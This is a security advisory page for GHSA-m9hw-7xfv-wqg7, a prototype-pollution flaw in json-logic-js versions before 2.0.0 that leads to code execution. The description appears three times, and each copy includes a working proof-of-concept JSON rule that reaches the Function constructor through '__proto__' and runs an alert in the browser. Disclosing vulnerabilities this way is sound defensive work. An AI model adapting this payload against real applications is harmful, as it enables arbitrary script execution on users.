GHSA-m9hw-7xfv-wqg7
Prototype Pollution in json-logic-js
GHSA-m9hw-7xfv-wqg7 is a vulnerability with no CVSS score yet in json-logic-js, published November 12, 2020. No source lists public exploit code. Fixed in json-logic-js 2.0.0.
- Severity
- UnratedNo CVSS score yet
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
2.0.0json-logic-js
Description
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.
The following rule creates a popup when run from a browser:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is.__proto__"
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
Affected packages
| Package | Affected | Fixed |
|---|---|---|
json-logic-jsnpm | before 2.0.0 | 2.0.0 |
What each source reports
GitHub AdvisoriesNo score
Prototype Pollution in json-logic-js
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.
The following rule creates a popup when run from a browser:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is.__proto__"
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
- Record
GHSA-m9hw-7xfv-wqg7- Weakness
- CWE-471
- Updated
- 2026-11-02
OSVNo score
Prototype Pollution in json-logic-js
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.
The following rule creates a popup when run from a browser:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is.__proto__"
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
- Record
GHSA-m9hw-7xfv-wqg7- Weakness
- CWE-471
- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.